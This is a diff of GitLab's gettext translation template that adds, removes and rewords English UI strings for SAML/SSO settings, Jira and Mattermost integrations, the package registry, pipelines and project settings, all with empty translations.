msgid "Group avatar"
msgstr ""
@@ -14428,9 +14858,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14533,9 +14960,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14551,7 +14984,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14647,9 +15083,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -14845,9 +15278,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -14983,9 +15413,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15164,6 +15591,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15332,6 +15762,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15492,9 +15928,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15542,12 +15975,15 @@ msgid_plural "Importing %d repositories"
msgstr[0] ""
msgstr[1] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15557,9 +15993,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16145,6 +16578,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16315,6 +16751,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16360,9 +16799,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16387,6 +16823,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16423,9 +16862,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16621,7 +17057,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16630,7 +17066,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16639,25 +17075,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16672,6 +17108,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -16834,6 +17273,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -16843,6 +17285,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -16930,6 +17375,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -16993,6 +17441,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17080,6 +17531,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17092,9 +17546,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17134,7 +17597,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17155,7 +17621,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17167,12 +17633,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17389,15 +17861,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17488,6 +17951,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17691,6 +18157,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18089,6 +18558,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18158,6 +18630,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18332,6 +18807,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18371,6 +18849,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18395,9 +18876,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18473,6 +18951,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18491,13 +18972,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18572,6 +19050,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -18674,9 +19155,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -18686,9 +19164,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -18821,9 +19296,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -18881,9 +19353,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
-msgid "Merge request approvals allow you to set the number of necessary approvals and predefine a list of approvers that will need to approve every merge request in a project."
-msgstr ""
-
msgid "Merge request dependencies"
msgstr ""
@@ -19446,6 +19915,9 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone due date"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
@@ -19638,6 +20110,12 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Miscellaneous"
+msgstr ""
+
+msgid "Missing"
+msgstr ""
+
msgid "Missing OAuth configuration for GitHub."
msgstr ""
@@ -19701,6 +20179,9 @@ msgstr ""
msgid "More Information"
msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19836,6 +20317,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20152,6 +20636,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20199,9 +20692,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20367,6 +20857,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20412,6 +20905,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20478,7 +20974,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20529,6 +21025,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20616,6 +21115,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20787,6 +21289,26 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+msgstr[1] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20901,6 +21423,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -21033,10 +21564,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -21126,9 +21654,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21153,9 +21678,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21186,6 +21708,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21272,12 +21797,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21296,9 +21815,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21311,10 +21827,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "OpenAPI specification file path"
+msgstr ""
+
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21329,6 +21848,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21380,6 +21902,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21488,12 +22013,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21524,6 +22055,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21542,6 +22076,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21593,6 +22130,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21617,9 +22157,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21656,15 +22193,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21716,27 +22280,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21974,10 +22517,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -22058,7 +22610,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22307,9 +22859,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22328,6 +22877,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22403,6 +22955,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22472,9 +23036,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22625,10 +23186,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22664,6 +23225,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22802,6 +23375,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22826,6 +23405,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22850,6 +23432,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -23108,7 +23693,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23498,6 +24083,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23513,49 +24101,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a commit is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|Event triggered when someone adds a comment."
+msgstr ""
+
+msgid "ProjectService|Event triggered when someone pushes to the repository."
+msgstr ""
+
+msgid "ProjectService|Issue URL"
+msgstr ""
+
+msgid "ProjectService|Jenkins URL"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current API key"
+msgstr ""
+
+msgid "ProjectService|Leave blank to use your current password"
+msgstr ""
+
+msgid "ProjectService|Mock service URL"
+msgstr ""
+
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23609,25 +24230,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
